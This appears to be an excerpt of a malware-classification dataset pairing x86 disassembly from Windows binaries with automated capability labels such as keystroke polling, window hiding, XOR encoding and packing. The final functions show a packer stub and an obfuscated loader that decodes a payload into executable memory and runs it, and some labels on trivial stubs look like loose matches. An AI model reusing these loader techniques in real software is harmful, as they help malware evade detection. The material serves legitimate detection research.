joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43c6be
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov ebx, ecx
call dword [sym.imp.USER32.dll_GetFocus]
mov ecx, dword [ebx + 0xa8]
mov esi, dword [ebp + 8]
cmp eax, ecx
je 0x43c6ee
cmp esi, dword [ebx + 0x1ec]
je 0x43c6ee
test esi, esi
je 0x43c6ee
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov eax, dword [ebx + 0x1ec]
cmp esi, eax
je 0x43c7c5
push edi
test eax, eax
je 0x43c74d
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x17
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebx + 0x1ec]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x18], eax
push edx
mov eax, dword [ecx]
call dword [eax + 0x134]
xor edi, edi
mov ecx, ebx
push edi
push edi
push edi
push str.killfocus
push dword [ebx + 0x1ec]
call fcn.0043c142
mov dword [ebx + 0x1ec], edi
test esi, esi
je 0x43c7c4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
cmp eax, ebx
jne 0x43c7c4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0xf4]
test al, al
je 0x43c7c4
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x100]
test al, al
je 0x43c7c4
push 7
pop ecx
xor eax, eax
mov dword [ebx + 0x1ec], esi
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x18
mov dword [ebp - 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebx + 0x1ec]
lea edx, [ebp - 0x20]
mov dword [ebp - 0x18], eax
push edx
mov eax, dword [ecx]
call dword [eax + 0x134]
xor eax, eax
mov ecx, ebx
push eax
push eax
push eax
push str.setfocus
push dword [ebx + 0x1ec]
call fcn.0043c142
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x43f8c1
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.0044c82e

Function at 0x43f8ca
Capabilities:
Log keystrokes via polling

Disassembly:
sub ecx, 0x6c0
jmp method.DuiLib::CMenuUI.virtual_312

Function at 0x4405ee
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x4dc38c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x18]
push edi
and dword [ebx + 0x50c], 0
mov edi, dword [ebp + 0x1c]
mov dword [ebx + 0x2c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebx + 0x30], eax
mov eax, dword [ebp + 0xc]
mov dword [ebx + 0x34], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], esi
mov dword [ebx + 0x508], ecx
mov dword [ebx + 0x510], eax
test ecx, ecx
jne 0x440659
call fcn.004403d5
push esi
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0xc]
test edi, edi
je 0x440659
call fcn.004403d5
push edi
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 0x14]
call fcn.004403d5
mov esi, ebx
lea edx, [ebx + 0x18]
neg esi
mov ecx, eax
mov edi, dword [eax]
sbb esi, esi
and esi, edx
push esi
call dword [edi]
mov ecx, dword [ebx + 0x508]
test ecx, ecx
jne 0x44067f
mov ecx, dword [ebp - 0x18]
jmp 0x440686
mov eax, dword [ecx]
call dword [eax + 0x1c]
mov ecx, eax
call fcn.004383da
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], eax
call fcn.00435594
push 0
sub esp, 0x10
mov esi, eax
mov edi, esp
mov ecx, ebx
push 0x88
movsd dword es:[edi], dword [esi]
push SysReAllocString
push 0
push dword [ebp - 0x18]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.00434fd9
mov esi, dword [ebx + 4]
mov edi, dword [sym.imp.USER32.dll_GetParent]
jmp 0x4406c9
push esi
call edi
mov esi, eax
push esi
call edi
test eax, eax
jne 0x4406c4
push 5
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 1
push 0x86
push esi
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048254c
mov esp, ebp
pop ebp
ret 0x1c
Function at 0x44cafd
Capabilities:
Log keystrokes via polling

Disassembly:
sub ecx, 0x6c0
jmp fcn.0044c82e

Function at 0x453171
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x4dc38c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
test edi, edi
je 0x4531a5
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4531a5
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
movzx eax, word [ebx]
test ax, ax
je 0x453257
push esi
mov esi, ebx
mov ecx, ebx
cmp ax, 0x2f
je 0x4531c2
cmp ax, 0x5c
jne 0x4531c4
mov esi, ecx
add ecx, 2
movzx eax, word [ecx]
test ax, ax
jne 0x4531b6
cmp esi, ebx
je 0x45320a
sub esi, ebx
lea eax, [ebp - 0x414]
and esi, 0xfffffffe
push esi
push ebx
push eax
call fcn.00485af0
add esp, 0xc
cmp esi, 0x208
jae 0x453267
xor eax, eax
mov word [ebp + esi - 0x414], ax
lea eax, [ebp - 0x414]
push eax
push edi
call fcn.00453171
pop ecx
pop ecx
xor eax, eax
mov word [ebp - 0x20c], ax
pop esi
test edi, edi
je 0x453227
lea eax, [ebp - 0x20c]
push edi
push eax
call fcn.004939bf
pop ecx
pop ecx
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0049394e
pop ecx
pop ecx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x453257
push 0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0048254c
mov esp, ebp
pop ebp
ret
call fcn.00482c8d
int3

Function at 0x45388d
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x453939
cmp dword [esi + 4], 0xffffffff
jne 0x453939
push edi
lea edi, [esi + 0x244]
push edi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push edi
call fcn.004939e1
pop ecx
movzx eax, word [esi + eax*2 + 0x242]
cmp eax, 0x5c
je 0x4538e0
cmp eax, 0x2f
je 0x4538e0
push 0x4cab28
push edi
call fcn.0049394e
pop ecx
pop ecx
cmp dword [ebp + 0x10], 1
pop edi
jne 0x453902
push 1
push 0
push 0
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp eax, 0xffffffff
jne 0x453902
mov eax, 0x2000000
jmp 0x45393e
lea eax, [ebp - 4]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00455fb7
add esp, 0x10
test eax, eax
jne 0x453920
mov eax, dword [ebp - 4]
jmp 0x45393e
push eax
call fcn.00456687
pop ecx
xor ecx, ecx
mov dword [esi], eax
test eax, eax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
jmp 0x45393e
mov eax, 0x1000000
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x453dea
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
movsx eax, byte [ebp + 0xc]
mov ecx, dword [edx]
xor eax, ecx
movzx eax, al
shr ecx, 8
mov eax, dword [eax*4 + 0x4b8f48]
xor eax, ecx
mov ecx, dword [edx + 8]
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
mov dword [edx + 8], ecx
pop ebp
ret

Function at 0x4560b6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
imul esi, dword [ebp + 0x10]
push edi
mov edi, dword [ebp + 0x14]
cmp byte [edi], 0
je 0x4560ea
push 0
lea eax, [ebp + 0x10]
push eax
push esi
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4560e5
mov byte [edi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x456111
mov edx, dword [edi + 0x1c]
lea eax, [edx + esi]
cmp eax, dword [edi + 0x18]
jbe 0x4560fa
mov esi, dword [edi + 0x18]
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp + 8]
call fcn.00485af0
add esp, 0xc
mov eax, esi
add dword [edi + 0x1c], esi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop esi
pop ebp
ret

Function at 0x456229
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x456237
xor eax, eax
pop ebp
ret
mov ecx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
not ecx
cmp esi, 8
jb 0x4562f6
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
sub edi, 1
jne 0x45624f
pop edi
test esi, esi
je 0x456312
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x4b8f48]
inc edx
sub esi, 1
jne 0x4562fa
not ecx
mov eax, ecx
pop esi
pop ebp
ret
Function at 0x466fde
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 8]
and edi, 7
je 0x467002
cmp dword [esi + 8], edi
jge 0x466ffa
push esi
call fcn.0046293b
pop ecx
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov edx, dword [esi + 8]
xor ecx, ecx
test edx, edx
jle 0x46702b
mov edi, dword [esi + 0xc]
mov al, byte [esi + 0xc]
sub edx, 8
mov byte [ebp + ecx + 8], al
inc ecx
shr edi, 8
mov dword [esi + 0xc], edi
test edx, edx
jg 0x46700e
mov dword [esi + 8], edx
cmp ecx, 4
jge 0x467045
mov eax, dword [esi]
cmp eax, dword [esi + 4]
jb 0x467036
xor dl, dl
jmp 0x46703b
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx + 8], dl
inc ecx
cmp ecx, 4
jl 0x46702d
mov eax, dword [ebp + 8]
movzx ecx, byte [ebp + 0xb]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp + 0xa]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x46707a
push str.zlib_corrupt
call fcn.00462864
add esp, 4
jmp 0x4670ba
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
jbe 0x46708a
push str.read_past_buffer
jmp 0x467070
mov ecx, dword [esi + 0x10]
lea eax, [ecx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x4670a4
push edi
push ecx
push esi
call fcn.00469ba7
add esp, 0xc
test eax, eax
je 0x4670ba
push edi
push dword [esi]
push dword [esi + 0x10]
call fcn.00485af0
add dword [esi], edi
xor eax, eax
add dword [esi + 0x10], edi
add esp, 0xc
inc eax
pop edi
pop esi
pop ebp
ret

Function at 0x46ccdb
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x69c], edi
je 0x46cd45
cmp dword [ebp + 8], 0x100
jne 0x46cd34
cmp word [ebp + 0xc], 0xd
jne 0x46cd34
cmp byte [esi + 0x6a2], 0
je 0x46cd1b
push 0x11
call dword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jns 0x46cd34
cmp byte [esi + 0x6a3], 0
jne 0x46cd34
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x46cd30
push edi
push edi
push edi
push str.return
push esi
call fcn.0043c142
xor eax, eax
jmp 0x46cd48
mov eax, dword [esi + 0x69c]
pop edi
pop esi
mov ecx, dword [eax + 0xc]
mov eax, dword [ecx]
pop ebp
jmp dword [eax + 0xc]
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret 0x10
Function at 0x47549d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x4dc38c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x20], 0
je 0x475525
cmp dword [esi + 0x18], 0
je 0x475525
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea edi, [eax + 1]
lea eax, [edi + edi]
call fcn.004830f0
mov ebx, esp
test ebx, ebx
je 0x475525
push edi
push ebx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esi + 0x18]
push ebx
add ecx, 0x1c8
call fcn.0043577d
mov ecx, dword [esi + 0x18]
xor eax, eax
push eax
push eax
push eax
mov eax, dword [ecx]
push str.textchanged
push ecx
call dword [eax + 0x1c]
mov ecx, eax
call fcn.0043c142
mov ecx, dword [esi + 0x18]
mov eax, dword [ecx]
call dword [eax + 0x1c]
mov ecx, eax
call fcn.0043874d
test al, al
je 0x475525
mov ecx, dword [esi + 0x18]
call fcn.00444a5a
xor eax, eax
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0048254c
mov esp, ebp
pop ebp
ret 0x10

Function at 0x47829d
Capabilities:
Hide graphical window

Disassembly:
push 0x9c
mov eax, 0x4ae69e
call fcn.00483079
mov edi, ecx
mov dword [ebp - 0x98], edi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [edi + 0x18], eax
mov dword [eax + 0x588], ebx
cmp dword [edi + 4], ebx
jne 0x47832f
lea eax, [ebp - 0xa8]
push eax
call fcn.00477e50
mov ecx, dword [edi + 0x18]
lea esi, [ebp - 0xa8]
push ebx
sub esp, 0x10
mov edi, esp
mov eax, dword [ecx]
push ebx
movsd dword es:[edi], dword [esi]
push 0x40000000
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0x1c]
mov ecx, eax
call fcn.004383da
mov edi, dword [ebp - 0x98]
mov ecx, edi
push eax
call fcn.00434fd9
mov esi, dword [edi + 0x18]
mov ecx, esi
call fcn.00447af1
push eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
mov ecx, eax
call fcn.00437fe0
push 1
push dword [eax]
push 0x30
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [edi + 0x18]
lea edx, [ebp - 0x94]
push edx
mov eax, dword [ecx]
call dword [eax + 0x28]
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.00435e57
lea ecx, [ebp - 0x94]
mov bl, al
call fcn.004356df
mov esi, 0x578
test bl, bl
je 0x47836a
mov eax, dword [edi + 0x18]
add eax, esi
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov eax, dword [edi + 0x18]
add eax, esi
push 0x10
push eax
lea eax, [edi + 0x22]
push eax
call fcn.00485af0
mov eax, dword [edi + 0x18]
add esp, 0xc
add eax, esi
push eax
push 0
push 0x1002
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
push 4
push dword [edi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov byte [edi + 0x20], 1
call fcn.00483034
ret 4
Function at 0x4787b7
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x298
mov eax, dword [0x4dc38c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x294]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x4787e3
xor eax, eax
jmp 0x478858
push esi
mov esi, 0xff
lea eax, [ebp - 0x104]
push esi
push 0
push eax
call fcn.00486070
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call sub.WS2_32.dll_gethostname
lea eax, [ebp - 0x104]
push eax
call sub.WS2_32.dll_gethostbyname
pop esi
test eax, eax
je 0x4787df
mov eax, dword [eax + 0xc]
push 4
push dword [eax]
lea eax, [ebp - 0x298]
push eax
call fcn.00485af0
mov ecx, dword [ebp - 0x298]
add esp, 0xc
movzx eax, cl
shl eax, 8
movzx ecx, ch
add eax, ecx
movzx ecx, byte [ebp - 0x296]
shl eax, 8
add eax, ecx
movzx ecx, byte [ebp - 0x295]
shl eax, 8
add eax, ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0048254c
mov esp, ebp
pop ebp
ret

Function at 0x478955
Capabilities:
Hide graphical window

Disassembly:
push 0xa4
mov eax, 0x4acfa3
call fcn.00483079
mov edi, ecx
mov dword [ebp - 0x98], edi
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [edi + 0x18], eax
mov dword [eax + 0x580], ebx
cmp dword [edi + 4], ebx
jne 0x478a12
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xa0], 8
push eax
mov dword [ebp - 0x9c], 0x800
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
test eax, eax
je 0x4789ea
lea eax, [ebp - 0xb0]
mov ecx, edi
push eax
call fcn.0047853c
mov ecx, dword [edi + 0x18]
lea esi, [ebp - 0xb0]
push ebx
sub esp, 0x10
mov edi, esp
mov eax, dword [ecx]
push ebx
movsd dword es:[edi], dword [esi]
push 0x40030000
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0x1c]
mov ecx, eax
call fcn.004383da
mov edi, dword [ebp - 0x98]
mov ecx, edi
push eax
call fcn.00434fd9
mov esi, dword [edi + 0x18]
mov ecx, esi
call fcn.00447af1
push eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
mov ecx, eax
call fcn.00437fe0
push 1
push dword [eax]
push 0x30
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [edi + 0x18]
lea edx, [ebp - 0x94]
push edx
mov eax, dword [ecx]
call dword [eax + 0x28]
mov ecx, eax
mov dword [ebp - 4], ebx
call fcn.00435e57
lea ecx, [ebp - 0x94]
mov bl, al
call fcn.004356df
test bl, bl
je 0x478a4a
call fcn.004787b7
mov ecx, dword [edi + 0x18]
mov dword [ecx + 0x578], eax
mov eax, dword [edi + 0x18]
push dword [eax + 0x578]
push 0
push 0x465
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
push 5
push dword [edi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [edi + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov byte [edi + 0x20], 1
call fcn.00483034
ret 4
Function at 0x480f97
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4dc38c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor esi, esi
push esi
mov dword [ebp - 0x210], esi
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push eax
push esi
mov esi, dword [ebp + 0xc]
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov edi, eax
cmp esi, 0x21
jb 0x480fe5
cmp esi, 0x28
jbe 0x480fdf
lea eax, [esi - 0x2d]
cmp eax, 1
ja 0x480fe5
or edi, 0x100
push 0x208
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00486070
add esp, 0xc
lea eax, [ebp - 0x20c]
mov ecx, edi
or ecx, 0x1000000
cmp dword [ebp + 0x10], 0
push 0x104
cmove ecx, edi
push eax
shl ecx, 0x10
push ecx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
push 0xffffffffffffffff
lea eax, [ebp - 0x20c]
mov ecx, ebx
push eax
call fcn.004355dd
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0048254c
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4812e9
Capabilities:
Hide graphical window

Disassembly:
push 0x98
mov eax, 0x4aefb5
call fcn.00483079
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebx + 0x18], eax
test eax, eax
je 0x4813f9
lea eax, [ebp - 0xa4]
push eax
call fcn.00480b13
mov ecx, dword [ebx + 0x18]
lea esi, [ebp - 0xa4]
xor eax, eax
push eax
sub esp, 0x10
mov edi, esp
push eax
movsd dword es:[edi], dword [esi]
push 0x40000080
push eax
mov eax, dword [ecx]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [eax + 0x1c]
mov ecx, eax
call fcn.004383da
push eax
mov ecx, ebx
call fcn.00434fd9
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x4813f9
mov esi, dword [ebx + 0x18]
mov ecx, esi
call fcn.00447af1
push eax
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
mov ecx, eax
call fcn.00437fe0
push 1
push dword [eax]
push 0x30
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SendMessageW]
mov ecx, dword [ebx + 0x18]
movzx eax, word [ecx + 0x796]
push eax
movzx eax, word [ecx + 0x794]
mov ecx, ebx
push eax
call fcn.0048182b
lea eax, [ebp - 0x94]
mov ecx, ebx
push eax
call fcn.00480de9
mov ecx, dword [ebx + 0x18]
and dword [ebp - 4], 0
add ecx, 0x1c8
push eax
call fcn.0043575e
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x94]
call fcn.004356df
mov ecx, dword [ebx + 0x18]
mov eax, dword [ecx]
call dword [eax + 0x100]
xor ecx, ecx
cmp al, 1
sete cl
push ecx
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_EnableWindow]
push 4
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebx + 4]
call dword [sym.imp.USER32.dll_SetFocus]
mov byte [ebx + 0x20], 1
call fcn.00483034
ret 4

Function at 0x49c606
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0049c485

Function at 0x4a119b
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004a0e5b

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219

Function at 0x1000f9c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x1000f9cf
pop dword [ebp - 0x50]
mov eax, 0x1000f9cf
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5d81ee8c
sub dword [ebp - 0x60], 0xf2fa941
mov dword [ebp - 0x5c], 0x5fb5b80e
sub dword [ebp - 0x5c], 0x2d826bc9
mov dword [ebp - 0x58], 0x17540c17
sub dword [ebp - 0x58], 0xcb07c7e9
mov dword [ebp - 0x54], 0xd7c13d5e
sub dword [ebp - 0x54], 0xd7c13d5e
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe8a6fdd0
add dword [ebp - 0x60], 0x8bcb6b86
mov dword [ebp - 0x5c], 0x97ccf43f
sub dword [ebp - 0x5c], 0x566092ca
mov dword [ebp - 0x58], 0x68d1599c
sub dword [ebp - 0x58], 0x561ed30
mov dword [ebp - 0x54], 0x10f7c1d1
sub dword [ebp - 0x54], 0x10f7c1d1
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3f127
push 0
call eax
mov ecx, 0x4a4f
mov ebx, eax
mov esi, 0x60fa0106
sub esi, 0x50f75106
add esi, dword [ebp - 0x50]
mov edx, 0xe2c88aa1
add edx, 0xec6382c
xor dword [ebp - 0x30], ecx
mov edi, dword [esi]
sub dword [ebp - 0xc], 0x619c1faa
sub edi, edx
add dword [ebp - 0xc], 0xf8648f3b
mov dword [ebx], edi
add ebx, 0xaa865867
add ebx, 0x5579a79d
add esi, 0x3ae15064
sub esi, 0x3ae15060
loop 0x1000fadc
add eax, 0x19b98e30
sub eax, 0x19b87221
mov ebx, eax
add eax, 5
mov ecx, 0xfbacadc5
add ecx, 0x1453523b
add ecx, dword [ebp - 0x50]
call ebx
leave
ret